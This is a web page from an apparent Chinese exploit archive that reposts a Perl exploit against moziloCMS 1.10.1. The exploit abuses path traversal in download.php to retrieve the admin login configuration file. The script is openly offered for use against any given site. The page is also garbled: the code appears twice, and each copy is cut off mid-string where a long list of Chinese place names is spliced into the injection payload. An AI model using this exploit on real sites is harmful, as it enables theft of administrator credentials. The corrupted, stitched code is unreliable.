moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit
互聯(lián)網 發(fā)布時間:2008-10-08 21:01:16 作者:佚名
我要評論
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#
use strict;
use IO::Socket;
print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}
my $expl_url = $ARGV[0];
print "\n\t[~] Starting exploit...\n";
if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}
sub exploit {
# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);
# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf 宝清县| 长沙县| 定边县| 崇文区| 泰顺县| 五大连池市| 黄山市| 安仁县| 五指山市| 承德县| 江都市| 四子王旗| 灵璧县| 新河县| 肥城市| 呼伦贝尔市| 亚东县| 通榆县| 湘西| 郓城县| 榆中县| 钦州市| 兴隆县| 准格尔旗| 剑阁县| 富源县| 安远县| 华容县| 来凤县| 冕宁县| 册亨县| 卢湾区| 法库县| 阿巴嘎旗| 沧州市| 新龙县| 南康市| 朝阳市| 福安市| 红桥区| 宣威市|
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#
use strict;
use IO::Socket;
print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}
my $expl_url = $ARGV[0];
print "\n\t[~] Starting exploit...\n";
if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}
sub exploit {
# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);
# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf 宝清县| 长沙县| 定边县| 崇文区| 泰顺县| 五大连池市| 黄山市| 安仁县| 五指山市| 承德县| 江都市| 四子王旗| 灵璧县| 新河县| 肥城市| 呼伦贝尔市| 亚东县| 通榆县| 湘西| 郓城县| 榆中县| 钦州市| 兴隆县| 准格尔旗| 剑阁县| 富源县| 安远县| 华容县| 来凤县| 冕宁县| 册亨县| 卢湾区| 法库县| 阿巴嘎旗| 沧州市| 新龙县| 南康市| 朝阳市| 福安市| 红桥区| 宣威市|

